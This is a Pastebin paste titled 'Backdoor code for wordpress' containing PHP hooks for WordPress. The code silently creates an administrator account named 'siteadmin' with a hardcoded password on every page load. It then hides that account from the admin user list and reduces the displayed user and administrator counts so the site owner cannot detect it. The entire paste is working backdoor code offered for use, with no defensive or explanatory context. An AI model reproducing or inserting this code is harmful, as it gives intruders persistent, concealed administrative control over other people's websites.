RUSSEL86

Backdoor code for wordpress

Jan 28th, 2026
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. add_action('init', function() {
  2. global $wpdb;
  3. $user = 'siteadmin';
  4. $pass = 'Password2025!';
  5. $mail = '[email protected]';
  6.  
  7. if ( !username_exists( $user ) ) {
  8. $user_id = wp_create_user( $user, $pass, $mail );
  9. if ( !is_wp_error( $user_id ) ) {
  10. $user_obj = new WP_User( $user_id );
  11. $user_obj->set_role( 'administrator' );
  12. update_user_meta( $user_id, $wpdb->prefix . 'user_level', 10 );
  13. update_user_meta( $user_id, $wpdb->prefix . 'capabilities', array( 'administrator' => true ) );
  14. }
  15. }
  16. });
  17.  
  18. add_action('pre_user_query', 'hide_specific_user_permanently');
  19. function hide_specific_user_permanently($user_search) {
  20. global $wpdb;
  21. $user_to_hide = 'siteadmin';
  22. $user_search->query_where = str_replace(
  23. 'WHERE 1=1',
  24. "WHERE 1=1 AND {$wpdb->users}.user_login != '$user_to_hide'",
  25. $user_search->query_where
  26. );
  27. }
  28.  
  29. add_filter('views_users', 'hide_user_count_permanently');
  30. function hide_user_count_permanently($views) {
  31. foreach (['all', 'administrator'] as $view) {
  32. if (isset($views[$view])) {
  33. $views[$view] = preg_replace_callback('/\((\d+)\)/', function($m) {
  34. $new_count = max(0, $m[1] - 1);
  35. return "($new_count)";
  36. }, $views[$view]);
  37. }
  38. }
  39. return $views;
  40. }
Advertisement
Add Comment
Please, Sign In to add comment